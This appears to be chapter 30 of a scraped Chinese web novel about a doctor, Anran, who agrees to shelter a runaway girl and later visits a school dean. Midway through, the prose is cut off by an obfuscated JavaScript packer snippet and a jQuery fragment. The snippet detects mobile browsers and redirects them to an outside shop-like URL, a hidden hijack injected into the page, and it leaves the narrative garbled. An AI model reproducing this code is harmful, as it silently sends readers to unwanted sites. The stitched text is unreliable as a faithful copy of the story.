30. 院长
作品:《我靠功德系统成为名医》 安然挑眉,疑惑道:“这对吗瑄姐,你把你的手下支走让我去干活?”
“我只是一个大夫啊。”
“没错啊,”郑瑄笑道:“找的就是大夫,救命的事谁能比大夫更清楚?”
安然点头,“那确实是。不过怎么在半夜,怎么回事?你得提前和我说明白好让我有个心理准备。”
郑瑄:“放心,我还能坑你不成?”
说着带安然转进一家酒楼,在熙来攘往的河阳街里这家也热闹得突出,人来人往欢笑不断。
安然抬头看了一眼牌匾,“炎月楼”三字苍劲有力,高悬其中。
安然跟着进去,小声道:“这里是适合谈事情的地方吗?”
郑瑄:“当然不是。现在是饭点,我是带你来喝酒吃饭的。”
两人刚进门就引来了不少目光,嘈杂喧闹的楼中似乎都瞬间安静了些许。
老板是位微微发福的中年女性,眼观六路耳听八方,在郑瑄刚踏进门的一瞬间就笑着迎了上来,热情道:“呦,将军,您可是好久没来了。”
“听闻您诞下千金,咱们这楼里上下都为您高兴呢!只可惜奴家们身份低微不能去府上道贺,但也不敢少了为您和小姐的祝福呢,今天您肯大驾光临,就尽情玩乐,不收钱!”
郑瑄熟练往楼上走去,应道:“还是你说话我爱听,好意我心领了。还是叫清越来谈弹琴斟酒吧。哦,再找两个乖巧懂事的来陪陪我这妹妹,挑模样好的,话少点没关系。”
莫老板跟着上楼,手里绞着手帕嘿嘿赔笑:“是,将军您吩咐的奴家定然得安排好……就是,就是这清越公子吧,他,他恐怕是不能来了。”
“怎么?”郑瑄回头看她,“我才多久不来,他就跟了别人去?”
“怎么敢呢,”莫老板赔笑,稍做犹豫手帕遮唇,低声道:“是何相公,约莫四个多月了,何相公给他赎身送出京城去了……”
“啧,怎么搞的。”郑瑄敛了笑,思索四个月前是什么时候,片刻后还是作罢,轻笑道:“还是你会做生意哈,赚我们两口子的钱。”
莫老板擦拭额头的汗,扯着嘴角笑:“哪敢哪敢,不过前些日子楼里又来了一个清秀男孩,弹得一手好琵琶,要不奴家让他来——”
“罢了,”郑瑄挥手拒绝,继续上楼,说:“今天先不必了,只上酒菜即可。”
“哎!”莫老板当即应下,大声吩咐手下去备酒菜。
郑瑄在炎月楼有固定的包间,就算数月没来里面依旧一尘不染,连桌角的花也是新鲜盛开的。
郑瑄坐在主位,安然在她左侧坐下,忍不住调侃道:“你太过分了瑄姐,姐夫在家日夜不休照顾安平,你却来楼里点模子。”
安然不是第一次说“点模子”这句话,郑瑄已经猜出大概得意思,伸个懒腰反驳道:“我可没有。”
“平时值班那么累,偶尔出来喝酒听曲再正常不过,而且那是之前的事,你么听到吗,我都好几个月没来了。”
安然给自己倒杯茶,反问:“但你今天不就来了吗,点名道姓要人家给你弹琴。”
郑瑄咯咯笑两声,并不觉得自己有什么问题,“我看你是恼没有人来给你弹琴倒酒,别急,我先跟你说两句悄悄话。”
郑瑄向她准备靠近,说:“今天早上尹淇提到她的朋友,程茹,还记得吧?”
安然点头,“她怎么了?”
郑瑄说:“我接到了她的求助信,说想让我帮她离开京城。”
“离开京城?”安然迅速想到尹淇说程茹的父亲一直想让她嫁个好人家,现在被关在家里待嫁哪里也去不了。
安然是活在新世纪的人,恋爱婚姻自由,再看程茹的遭遇自然会觉得无比压抑痛苦,而且她是和尹淇同岁的人,也不过十六七岁,就要这样被安排一生吗?
安然抬眸和郑瑄对视,问她:“所以你是想?”
郑瑄耸肩:“清官难断家务事,这是怎么都算他们自己家的事,我本不想也不该参与,但她来信说让我今晚接应她出京,不然明日我就会发现先一具服毒而亡的女尸。”
郑瑄气笑了:“你听听这是什么话?小丫头不到我肩膀高倒是会威胁了。”
安然:“那你就是同意了呗。”
相处了这么久,安然也多少对郑瑄有了了解。
若是她不想做的事,就算人真的死在她面前她眼睛也不会眨一下,现在口中说着被威胁实际笑个不停,就是欣赏她程茹的决断和勇气,已经决定要帮她了。
安然点头,“也是,不然我们又怎么会坐在这里呢?具体的时间地点呢,大晚上出城真的就这么容易吗,你能开后门让她出去?”
郑瑄:“当然不能了,所以才找你。”
“小丫头只想着逃跑,一点不考虑我是不是真的能给她送出去。所以先让她在你的仁德堂暂住一晚,等白天再出去。”
安然点头,原来是这样的计划,听起来也合理多了。
“这样看来,最大的麻烦应该是她家里后续的追捕,你要送佛送到西吗?”
郑瑄笑道:“当然不,送她出城已经是天大的恩情了,如果她连逃跑的能力都没有,往后又要怎么活下去?还不如回家做乖乖女服从安排,至少衣食无忧。”
安然明了,也理解郑瑄的做法,说:“那我就负责安排她的住宿?听起来我负责的部分并不是很紧急嘛,刚才听你说是急事还让我有压力了。”
“不是啊,”郑瑄为她倒茶,眼神清澈看向她,“我之所以说是急事,就是因为我今晚要和四皇子出京,没法去接应,要靠你了。”
“啊?”刚卸掉压力的安然有点懵,接过郑瑄递茶水的动作都有点僵硬,下意识反问:“尹沐呢,叫他去啊。”
“当然,”郑瑄点头,“他也不会闲着的,他今晚要帮忙救火。”
安然怔了一下,忍不住笑了,“原来已经安排好了,那我就过去呗。”
郑瑄拍拍她的手,“就差东风了。”
吃过饭后,安然和郑瑄分开,一如往常回去仁德堂坐诊,只是今天运气差点,又遇到白日骂她白老大夫。
安然倒是无所谓,既然见面了就打个招呼,点头微笑什么的,但微笑的嘴角刚扬起,白老大夫就瞪了她一眼,嘟囔着“妖孽”就快步离开了。
安然无奈,就见老大夫那个提药箱的徒弟赔笑路过,一边往前走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254239|195090||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一边回头给她比划,指指自家师父又指指脑袋,然后耸肩做出一副无奈的表情,才拜拜手快步跟了上去。
安然被他逗笑,也转身继续往仁德堂走去。
一路上和太多的人擦肩而过,她不会全都认识,也没必要听清所有的话语,她自有自己的目的地。
下午依旧坐诊开药,每人的时候就整理病历,不断学习充实自己,等到了晚饭点惊蛰带朱晓回来了。
跟着走了一天,朱晓虽然疲惫却双眼发亮,和安然分享今日见闻,兴高采烈道:“学堂里好多人啊,大家都很热情可爱,邀请我和她们一起读书。”
“夫子讲课也很有意思,就是有很多我听不懂的地方。”
惊蛰抱臂在一旁听着,时不时插一句:“你是去上学的,都懂了就自己开学堂了。”
“啊,我也能开学堂吗?”朱晓满怀期待地问。
惊蛰:“是说这个话题吗?”
安然莞尔,“想开学堂啊?那你可得好好学了,和夫子懂得一样多,哦,甚至更多。”
朱晓激动地点头:“好,我一定会好好学的!”
安然很欣慰,遇到一个喜欢上学的小孩的含金量谁懂?反正她现在懂了。
安然问她们:“看来今天收获还不错,选定去哪家学堂了吗——我这就去做饭,我们边吃边聊。”
“别做,”惊蛰拉住他的手,说:“可以选,去郑府吧,比你做饭好吃。”
安然哈哈一笑:“你的话有点不礼貌哦。晓晓想选哪一家?”
朱晓道:“鹿鸣院!那里有个女夫子,讲课很好我很喜欢。”
惊蛰点头:“去郑府吧,温院长是何相公的师姐,让他给你牵线,明天就能上课。”
安然惊喜:“竟然还有这层关系,确实会很方便。不过是要今晚去拜访院长吗,我可能不太方便。”
惊蛰点头:“来的时候遇到将军,她说你很方便。”
安然莞尔,才又问:“那温院长家住何处?”
惊蛰:“书院和五军营一条街,家住丁柳街,好像和礼部侍郎离得挺近。”
原来如此。没想到朱晓选的学堂还给安然带来了便利,于是从善如流道:
“事不宜迟出发去郑府吧,再晚要错过饭点了。”
安然收拾了仁德堂,确定没有患者之后才和惊蛰朱晓同去郑府,离开前惊蛰又回头看了一眼仁德堂的招牌,问:
“熙平街本来就偏僻,你这犄角旮旯人更少,怎么不让将军给你在河阳街租一个好的店面?”
安然也跟着回头看了一眼,夕阳洒在招牌上亮莹莹的,反光进安然心里更是一片满足慈祥,她笑道:
“不用,这是我祖上产业我舍不得。而且,我有更远的地方可以去,比河阳街更好。就不用中间过渡了。”
……
到郑府时何子玄已经备好了礼物,等他们吃过饭就乘马车去往丁柳街,不过两刻钟见到了温院长。
温尔言是名三十多岁的女子,饱读诗书的气质如山巅之云飘逸潇洒,一颦一笑尽显端优雅,微微笑着和何子玄对视片刻,礼貌问道:
“师弟?你好,我们认识吗?”

